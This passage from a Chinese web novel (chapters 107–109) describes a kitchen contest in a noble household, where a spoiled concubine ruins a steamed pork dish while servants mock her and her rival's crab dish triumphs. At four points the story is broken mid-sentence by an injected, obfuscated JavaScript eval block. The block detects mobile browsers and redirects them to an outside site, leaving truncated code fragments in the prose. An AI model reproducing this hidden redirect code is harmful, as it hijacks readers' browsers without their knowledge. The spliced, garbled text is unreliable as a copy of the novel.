紫兰侧过身去翻了个白眼儿,没让姚初蕊看到,可但凡看了她这个动作的都知道她定是翻了个白眼儿的,她转过头来时,偏偏换上了一副皮笑肉不笑的样子: “奴婢知道,你是四房的贵妾,你姓姚,是先夫人的外甥女。可是这里是后厨,在这厨房里向来只问你做的吃食好不好吃、对主子的身子有没有益处,别的那些有的没的,谁闲的没事儿才问呢。” “奴婢劝小娘还是多想想这菜怎么能做出来吧,不说能比得上芷小娘的味道好,可千万别一会儿交不出东西来。外头可都等着呢,啊,对了,今日负责评判的可不止大厨房的几位师傅,还有你们四房的主母和世子夫人呢。” “就是侯夫人也说了,今日比试只看厨艺,不看其他,之后等你们二位的菜做好了,要盛一份过去给她尝尝呢。你说,你这要是做不出来,或是蒸菜都能蒸坏了,该怎么交代呢?” 不怪紫兰生气,姚初蕊这次比试简直就是在侮辱庖厨的手艺,她们可不是乱说的,更不是以偏见看人,实在是姚初蕊这三日来的表现实在让人看不下去。 这场比试是柏芷兮提出的,但是比试的方法却是姚初蕊提的要做蒸菜,这相对来说已经是简单了的,原本大家就想着姚初蕊既然这么说了,她定然是有胜算的。 毕竟这蒸菜只要食材够新鲜、够好,就已经赢了一半儿了。另外的就是佐料、香料,姚初蕊原就比柏芷兮有钱、有人,说不准就从哪儿弄来了名厨的私放香料、酱料。 这样以来,她只需要把食材清洗干净、切好装盘摆好,再将配菜、佐料放在食材上再放进蒸笼一蒸就好了。 本来大家伙儿还在为柏芷兮不平,因为柏芷兮似乎没有什么出名的私放酱料,就是现做,三天时间也来不及了,即便是夏姑姑把自己的私房酱料拿出来,也用处不大。 不是说夏姑姑自己的东西不好,而是那些东西都给府里的主子们做菜时用过了,即便送一些给柏芷兮,用在菜上也没有新鲜感,而姚初蕊的定是从外面找的,多半这些主子们没尝过,先就赢了三分。 谁都没想到姚初蕊的确找了外头的强援,可偏偏自以为有了强援,在练习的时候半点努力都不想,白白浪费了那些好东西。 要说姚初蕊今日要做的是一道粉蒸肉,不用说,那用来裹肉的粉料就是外头买来的名厨私房粉料,据说那厨子家里凭借着这道粉料,是给宫里献过菜的,后来更是将这粉料通过一个皇商,年年都进到宫里去。 如意买给姚初蕊的肉也是市面上最好的猪里脊肉,她其实只要把肉切成片而,再裹上那粉料,按照那名厨说的一蒸就好了。 可偏偏姚初蕊自以为简单,在练习的时候只切了两刀就让如意替她切,裹粉只看着如意动手,她自己觉得这有什么难的,就只是看,根本就没上手。 大厨房上上下下哪个不是人精,又都是五感强过许多人的,一闻那粉料就知道是好东西,可谁一看那主仆动手就知道这是把好东西给糟践了。 于是,大伙儿心里一面为柏芷兮高兴,因为她赢姚初蕊,那是十拿九稳的了,可他们更加为姚初蕊糟践了这么好的粉料而气愤! 唉,现在这世道,真是什么人都来侮辱庖厨了……自己不懂厨艺,还连心思都不肯花,以为随便动动手就成了,这到底是什么人啊! 姚初蕊是真以为做这粉蒸肉简单,不说别的,就是这粉料她自己闻着都觉得香,赢过柏芷兮,根本毫无悬念! 姚初蕊被紫兰讥讽了一顿却只是冷笑了一声,不屑地道:“我只是没注意拿错了刀,这刀太沉了,才会失手。我……这就换过来,不就是把肉切成片么?这有什么难的?哪里就至于做不出来呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600385|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我可是听说了芷小娘那儿不过是有些新鲜虾、蟹,她能做出什么来?定是没什么出奇的,不信你等着瞧,等她输了,把灶房让出来,有你们好看!” “你是叫紫兰,对吧?你现在这样对我,你可得想清楚了,等我进来了,我就要了你过来使唤,让你不好过!” 鱼、虾、蟹吃的就是一个新鲜,若是炒菜,还能红烧或是干炸,做法颇多,可若是做蒸菜,那一般都是清蒸,之后浇上料汁就可以了。 不是说清蒸不好,只要食材足够好,处理得又够干净利索,味道也是不错的。 可是现在不是日常做了菜出来吃的,是在比试,这里面便也要讲究一个难度问题,要是太简单了,完全靠着食材鲜美,那就算是赢了,也胜之不武。 更何况姚初蕊不觉得她会输,她这名厨的裹料和食方可是她托了娘家寻来的,还是给宫里进过菜的,比起柏芷兮这个食肆东家女儿的传承来说不知道强了多少。 因此姚初蕊自信的很,她哪里就会输了?根本就不可能,她一定会赢,灶房也一定是她的。 要说柏芷兮要灶房是为了做吃食,姚初蕊要这灶房却是为了敲打柏芷兮和一众敢于撼动她地位的人的。 现在四房还没有再说要有别的妾室进门,可是这几日大厨房的这些小蹄子们可没少给她气受,她不过就是敲打了几下她们的师父而已,她们就敢这般给她脸色看。 都给她等着,别让她抓住把柄了,以后有的她们好看! 紫兰听了半点都不怕她,反而插着腰道:“小娘有空在这儿跟奴婢辩解,不如赶紧把肉切了吧,你再不切,一会儿芷小娘的菜都上笼了,你这还什么都没做呢!” “奴婢也不怕你觉得咱们偏心,芷小娘那儿也有人看着,不仅是屋里,灶房外头守着的比你这儿的人多。倒不是觉得她会做什么,是那味道想来都比你这儿的闻着好。” 第107章 门道 说起这个紫兰就一肚子气,为了更好地看住姚初蕊,这几日她都跟在姚初蕊和如意后边耗着,可她也听婵儿说了,说柏芷兮要做的吃食很是新奇,她之前还跟着夏姑姑尝了一点,那个味道香得啊。 而且那菜不仅吃起来香,闻起来也香得不得了,就是站在廊子里都能被香得流口水。 呵,要不是她得在这儿看着姚初蕊,她这会儿就算进不得那边的灶房,大小她也能在廊子下面站着闻闻香气,一会儿等她们比完了,也更有机会分上两口。 都怪姚初蕊,让她不仅失去了品尝的机会,还失去了偷师和得到柏芷兮亲口提点的机会! 不过紫兰在这儿跟姚初蕊耗着,细说起来倒也没有那么后悔,因为要说在这厨房里坑人,比她大的几个拉不下脸面做这种事,比她小的婵儿这些人又爱说笑,做不真。 倒是她坑起姚初蕊来一点压力都没有,就像现在,她就要眼看着姚初蕊去切那里脊肉了。 姚初蕊在紫兰看好戏的目光注视下,终于换上了切肉用的刀,她嫌弃地用手指头捏起那一条已经切得很方正的里脊肉,把肉放到案板上。 为了她好切,如意早上已经交代了外头杀猪的师父一定要把肉成这样方方的一条,这样姚初蕊只要直接切片儿就好,切出来就是方的,不用改刀。 而且肉好不好切,刚开始宰杀和分割肉块的师父手艺就很重要,这块儿里脊肉是顺着纹理切好的,只要姚初蕊能把肉切成片儿,再用那粉料一裹,绝对又鲜又嫩。 如意的确是个细心的忠仆,她把能想到的问题都想到了,其实只要姚初蕊稍加练习,就算不能赢了柏芷兮,这道粉蒸肉的味道也差不了。 一大早出门的时候,如意就给姚初蕊鼓劲儿,让她一定要按照步骤来,还让她小心一点,毕竟练习的时候很多步骤她都只是看着,并没有亲自动手。就好比这会儿切肉,一定要小心,千万别切到手了。 姚初蕊切肉的动作万般小心,她也没觉得有什么难的,她看如意切的时候轻松得很,就想着自己只要看看就行了,大不了真到了动手的时候动作慢一点就成了。 姚初蕊从前只熬过两回汤,根本就没做过菜,她只知道厨房送去的菜里的肉好吃,却不知这肉生着的时候有一股带着腥气的味道,她闻了就难受,更不想那油腻沾到自己手上,她哪里肯亲手去练。 这会儿她切着肉,在第一刀下去之前她的确觉得挺容易的,可这一刀下去就觉得不一样了。 这肉怎么这么软,这刀为什么不能一下子切下去,为什么她看着如意切的时候又快又轻巧,她却不像在切而是在锯? 姚初蕊立刻质问道:“你们故意的对不对?这刀太钝了,根本切不动肉,你们欺负人!还不赶紧给我换一把。” 紫兰没说话,拿过那般刀,先是从一旁的篓子里拿过一颗小南瓜,一刀剁下去,南瓜成了两半了,接着她又从旁边别人备下的食材里拿了一条带骨头的鸡腿,熟练地一刀下去,连着鸡骨头都被她切断了。 之后紫兰把那把刀好好地还给了姚初蕊:“有的人就是睡不着怨枕头,身子不好怨药不对症,可是这同样的东西,到了别人手里去不一样了。” “这两日都是如意姐姐替你切的肉吧?小娘以为看看就好,看看就能学会了?那咱们这些人还学什么厨啊,以后师傅们做菜,咱们就都往灶台前站一溜好了,都不用动手了!” 这厨房里的哪个人不是天天练、月月练的,婵儿和她这样的,头三年都只练刀工,连碰锅铲的机会都没有,姚初蕊前两日那不屑动手的样子,就是在羞辱她们! 姚初蕊眼看着紫兰用同一把刀把鸡腿和南瓜都切开了,紫兰那手起刀落、砍瓜切菜的样子仿佛切的不是南瓜和鸡腿,倒像是在切她姚初蕊的脑袋和骨头。 姚初蕊往外面看了眼,就一个老婆子在门外盯着她俩,其他**概真是去柏 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为什么这肉难切?当然跟姚初蕊手上没功夫有关系,可这不是全部的原因,这肉要好切,对方是个新人,倒也不是没有办法的,只是姚初蕊太遭人嫌了,这事儿上她们主仆是被算计了。 要说如意是懂些厨艺的,只是她也毕竟不是厨子,平日里姚初蕊都吃大厨房的东西,也没让如意做过。 如意进侯府前那点手艺早就生疏了,其实要是让如意切同一块肉,也未必就能切得那般好。那两日,她能切得好是有原因的。 前头练习的两日,她们主仆并没有从外头买肉,用的就是大厨房当天给各院儿做菜用的肉。为了造成肉很好切的假象,给如意切的那块儿肉是拿冰镇过的。 说是天热,为了保持新鲜,就拿冰镇一下。这肉一遇了冷了,就会比这刚宰杀下来的鲜肉要硬一些,自然也就好切了。 第108章 是真不好看 而且她们练习的时候,因为姚初蕊嫌灶房里热,蒸笼根本就没上火,是等着如意切好了肉、裹好了粉料,姚初蕊看好了之后出去了,才点了火蒸的。 这日却不同,为了比试快点结束,蒸笼的火一直是上着的,肉刚从府外拿回来的时候拿冰镇了会儿,之后摆上案板来,屋里的热气这么一熏,加上姚初蕊磨磨蹭蹭的,切个肉还要教训紫兰一顿,这肉因为冰带来的那点硬度已经没有了,到了她的刀下自然就是软趴趴的了。 要是姚初蕊客气一点的话,紫兰或许还会提醒她一进来就赶紧把肉切了,可她这般态度,紫兰只恨不得她能晚点切才好。 姚初蕊好不容易把肉切好了,那一大块儿里脊最多只有一小半儿是成片儿的,其余的要么就是条,要么就是被她“锯”得不成形了。 到了裹粉料的时候,姚初蕊简直气急败坏了:“为什么裹不均匀?是不是你们在里面加了东西?是不是你们要害我……” “都是一样的东西,为什么如意可以?我不行,怎么会这样?啊,这……这怎么放进去,冒着气呢怎么放……” 紫兰看不下去了,又在她身后白了她好几眼:“这粉料是如意姐姐拿过来的,就在你进来前才放到碗里,有没有加东西,回头你跟她收着的那些对比一下不就知道了?” “这锅本来就该一直上着火的,是你受不得热,之前你在这屋里的时候才没生火。要是等你把东西放进笼里再生火,那得多费多少工夫?谁耐烦等你。” “再说了,只有笼里有了热气,这肉放进去的时候汁水才能一下子被锁在里面。要是冷的时候把肉放进去,一会儿就蒸出水来了,你外头裹的那些粉料就得变成糊糊了。” “这可是为了你好……我们要是不告诉你,你是不是还得自己生火?蒸出一碗糊糊来,也不知道是做面糊汤和菜呢。行了行了,你自己看着吧,这支香燃尽的时候就差不多了,你一会儿自己端出来就行了。” 紫兰再不管她,虽然没走,可也从屋子里出来了,跟廊子里监看的婆子站到了一处,两个人有一句没一句地说起了小话,再是不理姚初蕊怎么折腾了。 到了这一步也没什么好看着的了,等会儿从蒸笼里拿出来,也就是整理一下、摆摆盘儿的事儿了。 蒸汽一上来,灶房里更热了,姚初蕊拿出帕子不住地沾着脸上的汗珠,她才知道这灶房里是这般难待的,她脸上的脂粉定是都花了,也不知道成了什么样子。 可恨这大厨房的人都不帮着她,以她的身份凭什么让她亲自动手?就该她说怎么做,让如意动手就行了,还每一步都要她自己做。 不过没过一会儿,姚初蕊就不抱怨了,她心里甚至升起了一种期待,因为她这粉蒸肉的味道闻起来着实不错,那混合着粉料香气的肉香此刻正一股股地从蒸笼里冒出来。 这味道……不愧是名厨做的粉料,闻着味道就是好,饶是姚初蕊也吃过不少好东西,也觉得这味道香。 这边其实能听到对面灶房外的动静,柏芷兮外面的廊子里早就响起一阵阵的惊叹声了,只是她这边没人围着,才没有动静。 姚初蕊一心觉得是因为那些人有眼不识金镶玉,才会跑去柏芷兮那边,他们根本不在她这一边才不懂得欣赏。 她向她这边的廊子里看去,只见紫兰和一个老婆子一脸木然地看着她,脸上并没有多少表情,她愈发笃定了这一点。 “你们就装吧!这味道不香吗?你们分明就是装着闻不到,装着没感觉。告诉你们,这都没用,等一会儿出了锅,我就不信所有人都能睁眼说瞎话。” “行,我们等你的菜出锅。”紫兰打了个哈欠道。 她们这是比做菜,又不是做香料,光闻着好闻,有什么用?而且谁都知道她那裹料是外头买的,现在不过是多了一点肉香,有什么好奇怪的。 再说了,出笼容易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607448|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?这灶房里的蒸笼可是那种大笼,要把菜从里面平整地端出来,得先保证不烫手。 好不容易等那香燃尽了,那边都来催了,说是柏芷兮的蒸蟹宝已经好了,这边要是好了,就一起出锅端出去了,省得先出去的等太久了,冷了不好吃。 姚初蕊这才准备出笼端菜,紫兰和那婆子还不算太过分,先替她把灶膛里的火熄了,才让她自己端菜。 就算如此,姚初蕊也被那未熄的热气烫了两回手,最后还是那婆子提醒她用布巾掂着,才把那粉蒸肉拿出来。 可就算如此,也还是晚了,底下的火一熄,蒸笼盖子上的水滴子就滴到了菜上,这粉蒸肉外面本来裹得就是干料,要的就是外干里嫩,可被这水滴子一沾,这粉料立刻就不干生了,就好像和了泥一样沾在了那切得大小、薄厚都不一样的肉片上。 这菜一出笼,瞧着卖相是真不好看,紫兰和那婆子连连摇头,都在心里说可惜了这些好料。 姚初蕊虽然不懂做菜,可吃过的好吃的那般多,一看盘子里的样子立时垮了脸,想求着紫兰帮忙摆盘,紫兰一转身就跑了。 姚初蕊便看向那婆子:“这位妈妈,你看能不能帮我弄得好看些?我闻着这味儿还是不错的,就是这样子有些……我知道你跟紫兰那小蹄子不一样,你年纪大,心好。” “这儿现在也没别人了,她们都去那边等着品评了,你就帮帮我,好不好?回头我赏你银子,或是你家里有谁想得个差事,我都帮你想法子。” 姚初蕊想的好啊,可这婆子只在心里骂娘,同是西院儿的妾室,这姚初蕊跟柏芷兮的差距怎么就这么大呢? 亏得姚初蕊还是一个贵妾,在钱财和见识上都比柏芷兮高,她怎么就不知道功夫得用在平时呢? 为了成事儿使些银钱,真到了关键的时候这么明着送,谁敢收啊,真有门路的,私下里早就送进来了,谁还等到这时候才想着打点。 第109章 妾室该有的手艺 而且这是侯府,有几个人敢明晃晃地送银子?她要是拿了,别人一看这比试才过没多久,她就有银子花了,傻子都知道是怎么回事。 看看人家柏芷兮,人家没银子,可她做的哪件事不让人觉得熨帖了?而且她做的那些事儿都是能让人长远获益的,比给她们几两银子回头就吃酒花了强。 这姚初蕊也就是托生的时候比柏芷兮好,论样貌、论人品、论手段哪样都比不上柏芷兮,也就是命好给姜家生了儿子了,要不然迟早得被柏芷兮比下去。 那婆子便说了:“小娘,你这菜……刚才紫兰姑娘已经看过了,要是老奴替你动了手,她一看就知道是老奴私下帮你了,这可是比试,不是平时。” “你就行行好,饶了老奴吧。不过或许就像小娘方才说的,这菜看着不好看,可吃着好吃呢?你这菜好歹是经了名厨指点的,外面的那几位主子没准儿都喜欢吃。” 不过这婆子不如紫兰胆子大,到底不太敢把姚初蕊得罪的太厉害,索性给了她一个实际她却不大可能办得到的法子, “这卖相不好但吃的好的东西其实拿来卷饼倒是不错的,小娘要是会烙鸭饼,倒不妨烙几张,让夫人和几个管事儿卷着吃,再切点黄瓜丝、葱丝什么的卷在里面,想是好吃的。” 都卷在饼里不久看不到了吗?刚好可以遮丑,而且这粉料因为滴了水都和泥打团儿了,也影响口感,配上黄瓜条、葱丝刚好压一压,卷在饼里,一口下去,也没那么明显不是? “鸭饼?就是荷叶饼?这倒是个好主意,你可会烙?” 姚初蕊期待地看着眼前的婆子,而且她还想出了一套方便变通的说辞,“我只说比试做蒸菜,这饼最多算是佐菜用的辅食,你帮了我,不算违规,我还赏你银子……” “小娘……”那婆子直接打断道,“不是老奴不帮你,老奴在这大厨房里虽说是个管事儿的,可就是个管杂活儿的,这洗菜、洗碗、通澡堂和烟囱的事儿归老奴管。” “鸭饼……老奴哪会做那个?老奴也就会烙几张大病,就是下人吃的那种厚的饼,顶饿。别的老奴真不会,你就别为难老奴了。” 说完这婆子还伸了手给姚初蕊看,那一双手上厚厚的一层老茧,看着的确是干惯了粗活的。 姚初蕊不好再为难这婆子,好在找了一圈,她总算在隔壁灶房里找到几张下人吃的饼,大概是早上烙的没吃完,就那么放锅里等着晚上吃的。 这饼厚实,就是拿来当干粮吃的,不过也能卷东西,就是特别厚,口感不好,也不那么美观罢了。 这样的饼要是卷着吃,得当时卷了就吃,否则不像鸭饼那样能包住还能折一下,这么厚的饼除非外面拿细线扎上,否则就这么卷着是卷不住的。 于是,等姚初蕊出现在大厨房前院的时候,大家就看到那婆子手里的托盘里一边摆着一盘子像是从泥里捞出来的蒸肉似的的东西,另一边摆着三张大饼。 真就是赶马车的车夫坐在马车外头一手抓着边赶车边啃的那种,柏兰姵和葛氏看了都是一愣,她们都没吃过这种大饼,可都见下人们吃过……这对于她们来说,牙口得好啊。 刚刚柏兰姵已经看过了柏芷兮的蟹宝,一个个蟹壳扣在那里,在盘子里叠成了一座小塔,闻着就觉得香甜中带着鲜味儿,还混合着一点玫瑰的味道,不用尝都觉得好。 要说做正室的没必要精通这些,精通了反而会有人觉得她们玩物丧志,可妾室又不一样,会点儿东西能讨人欢心,让人看了就赏心悦目,这才算是尽了妾室的本分了。 柏芷兮的琴棋书画柏兰姵都是见识过的,往日见她总往大厨房跑,她也想过这人的手艺定是不错的,可这种不错、这种好也不过是相对于其他并非庖厨的人来说的,没想到今日一见,柏芷兮的手艺并不比这府里的厨子差。 那蟹宝的盘子一端出来,满院子的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这样一个可人儿,又不会跟你谈外头和家里的那些烦心事儿,成天不是琴棋书画,就是做做吃食,还会做这种好看、好闻还多半很好吃的吃食,哪个郎君能不喜欢呢? 葛氏看了一眼一旁的柏兰姵,她是知道的,柏芷兮进门前,柏兰姵心里也不大愿意,这会儿瞧着也已经接受了。 只要柏芷兮将来不太过分了,要是生下孩子再给柏兰姵养着,只要她不作,这二人就能把姜奕辰拿住了。 葛氏又转头看了眼姚初蕊和她旁边的两盘子东西,尽管她极力控制着脸上的表情,还是露出了些许嫌恶的神情……那一盘子像是蒸肉的东西,能吃吗? 要说葛氏平日里会替姚初蕊撑腰,那是指望着姚初蕊能帮他们拉进长房和四房的关系,也是想在柏兰姵身边放颗钉子。 她跟柏兰姵没什么仇怨,只是这府里四个郎君,只有长房和四房两个娶了亲,有了主母了,姜奕辰又是续弦夫人生的嫡次子,他行事比较出挑,担着一府的庶务,要是在寻常人家,这就相当于担着一府的生计了。 偏偏姜奕辰并不想止步于守着家业过日子这么简单,他虽然在举业上没有太大的成就,但还是一早就看准了市令这个位子,试图从商入仕, 姜奕辰从前便在打这样的主意,姜奕德早就知道了,也告诉了葛氏,她当时便觉得姜奕辰有心机,而且这么下去的话,可就要把姜奕德比下去了。 虽说姜奕德这世子之位做得稳稳的,可要是被后头的弟弟抢了风头,也难免会被说他无能。何况爵位只是一个头衔,能让他继承爵产而已,有没有实权还是要看有没有任官。 这也是为什么在姜奕辰当上市令之后,姜奕德就千方百计地求了姜定武为他谋了府库副使这个位子,有了这个位子横竖是有了事儿做了,又是个不容易出错的位置,说出去也好听。 姜奕辰和姜奕德关系微妙,相应的葛氏和柏兰姵的关系也是微妙的,虽说葛氏知道姜奕辰早晚是要分出去单过的,也不至于故意使什么手段去害他,可是这儿媳妇间也是要对比的。 姜奕辰的日子过得好,四房富得流油,柏兰姵平日里也是一副很有底气的样子,很多事儿柏兰姵不会说出口,可永远都是一副心有成竹的样子,这让葛氏看了如何能不气? 这么以来,平日里葛氏也愿意给姚初蕊撑腰,这样姚初蕊才有本钱在四房耀武扬威,给柏兰姵添堵。 可是这并不意味着葛氏喜欢或是瞧得上姚初蕊这个人,姚初蕊一直自诩自己出身大家,是先夫人姚氏的外甥女,可事实上姚家在姜奕德小时候就败落了。 姜奕德对母家姚氏有感情,可因为那时候他还太小了,成长的过程中前一半有姜定武撑着,后一半有徐氏撑着,以致于他对母族的感情其实也没有那么深。 姚初蕊这个大家闺秀是一来没有家世,二跟姜奕德这个表哥也没有多少感情,最开始姚家要做这门亲的时候,要不是姜奕德想要拴住姜奕辰这个弟弟,他还怕做了这门亲会让徐氏多心、不高兴呢。 姚初蕊偏偏就敢仗着这份早就落了空的家世和兄妹情谊在府里到处炫耀自己的特殊,其实她能倚仗的不过是姜定武对亡妻的那份感情和愧疚了。 葛氏不喜欢姚初蕊的原因也就在这儿,真正的大闺秀,不是只会享福的,而是要懂得随着时势变化随遇而安,行到水穷处,要能坐看云起时才行,而不是一昧地沉浸在昔日的荣光里无法自拔。 更何况姚家在姚初蕊很小的时候就败落了,她根本就没享过几日富贵,又何必炫耀呢? 要让葛氏说,姚初蕊进府之后以她家道中落、可怜无辜的处境来博取姜定武的同情,之后再以一副性子弱又无家世倚仗的姿态跟这府中其他人相交,得到的反而更实惠、更长久。 再看看柏芷兮,知道自己的出身有问题,就低调做人,从不上窜下跳地结交比她好的人,反倒是跟底下这下人打成一片,她本就没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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